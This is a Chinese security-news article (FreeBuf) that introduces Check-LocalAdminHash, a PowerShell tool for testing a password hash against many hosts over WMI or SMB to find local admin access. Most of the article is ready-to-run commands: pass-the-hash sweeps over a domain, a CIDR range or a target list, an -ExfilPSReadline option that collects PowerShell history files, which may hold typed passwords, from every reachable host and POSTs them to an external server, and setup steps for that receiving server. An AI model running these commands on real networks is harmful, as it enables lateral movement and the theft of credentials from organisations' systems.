freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Check-LocalAdminHash:一款基于PowerShell的本地管理员识别工具
2020-02-20 15:00:36

Check-LocalAdminHash

Check-LocalAdminHash是一款基于PowerShell开发的工具,它可以尝试通过WMI或SMB来对多台主机进行身份验证,并通过密码哈希来判断用户提供的凭证是否属于本地管理员账户。

如果你获取到了一个用户账户的密码,并且需要判断该用户账户是否为目标网络系统中的本地管理员账户时,Check-LocalAdminHash就派上用场了。值得一提的是,该工具还集成了两个第三方工具,即Invoke-TheHash(用于凭证检测)和PowerView的脚本工具模块(用于枚举域名计算机)。

我之所以开发这款工具,是因为在一次信息收集活动中,我需要收集目标网络中所有系统的PowerShell命令行历史文件(PSReadline),而PSReadline命令行历史记录实际上就是PowerShell版本的Bash记录。这种记录中包含了非常多有意思的内容,其中就包括用户在终端中输入过的密码。因此,Check-LocalAdminHash还提供了一个选项来帮助用户筛选和过滤所有的PSReadline文件。

工具下载

广大研究人员可以使用下列命令将项目源码克隆至本地:

git clone https://github.com/dafthack/Check-LocalAdminHash.git

工具使用样例

通过WMI检测所有主机的本地管理员哈希

下面这条命令将使用域名“testdomain.local”来查询所有的主机系统,然后尝试通过WMI并是使用用户“testdomain.local\PossibleAdminUser”以及密码哈希来验证凭证的有效性:

Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

提取所有的PSReadline终端历史记录

下面这条命令将使用域名“testdomain.local”来查询所有的主机系统,然后尝试通过WMI并是使用用户“testdomain.local\PossibleAdminUser”以及密码哈希来验证凭证的有效性。接下来,它会尝试定位目标网络中每一个系统的PowerShell终端历史记录文件(PSReadline),然后使用POST将它们发送至我们的Web服务器:

Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

使用CIDR

下面这条命令将使用工具提供的CIDR范围来生成一个目标列表,然后尝试通过WMI并使用本地用户“PossibleAdminUser”和密码哈希来验证用户凭证:

Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24

使用目标列表和SMB并将结果输出至文件

下面这条命令将使用提供的目标列表,并尝试通过SMB和本地用户“PossibleAdminUser”以及密码哈希来验证用户凭证:

Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt

单一目标

下面这条命令针对的是主机系统“192.168.0.16”,它将通过SMB并使用用户名“Administrator ”来进行本地管理员账号验证:

Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB

Check-LocalAdminHash选项:

Username - The Username for attempting authentication.
PasswordHash - Password hash of the user.
TargetSystem - Single hostname or IP for authentication attempt.
TargetList - A list of hosts to scan one per line
AllSystems - A switch that when enabled utilizes PowerView modules to enumerate all domain systems. This list is then used to check local admin access.
Domain - This is the domain that PowerView will utilize for discovering systems.
UserDomain - This is the user's domain to authenticate to each system with. Don't use this flag if using a local cred instead of domain cred.
Protocol - This is the setting for whether to check the hash using WMI or SMB. Default is 'WMI' but set it to 'SMB' to check that instead.
CIDR - Specify a CIDR form network range such as 192.168.0.0/24
Threads - Defaults to 5 threads. (I've run into some odd issues setting threads more than 15 with some results not coming back.)
ExfilPSReadline - For each system where auth is successful it runs a PowerShell command to locate PSReadLine console history files (PowerShell command history) and then POSTS them to a web server. See the Readme for server setup. 

PSReadline过滤配置

接下来,我们将需要设置一台对外接收文件上传的服务器。在开始之前,我建议大家先锁定好设备的防火墙规则,以及允许上传PSReadline文件的IP地址。

1、设置一台用于接收上传文件的服务器,这个服务器必须能够通过HTTP/HTTPS访问。

2、将本项目中的index.php脚本拷贝到Web服务器的根目录(“/var/www/html/index.php”)。

3、创建一个上传目录:

mkdir /var/www/html/uploads

4、修改该目录的权限:

chmod 0777 /var/www/html/uploads

5、安装好PHP环境:

apt-get install php

6、重启Apache服务器:

service apache2 restart

7、Check-LocalAdminHash.ps1脚本会跳转到“Gen-EncodedUploadScript”函数,并修改“$Url”变量,将其指向我们Web服务器的index.php页面。

接下来在你使用“-ExfilPSReadline”选项运行Check-LocalAdminHash时,它就会尝试使用POST来将所有发现的PSReadline文件发送至你的服务器端了。

项目地址

Check-LocalAdminHash:【GitHub传送门

参考资料

1、博客文章:https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/

2、Invoke-TheHash:https://github.com/Kevin-Robertson/Invoke-TheHash

3、PowerView:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1

* 参考来源:dafthack,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

# powershell # 识别需求 # Check-LocalAdminHash
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录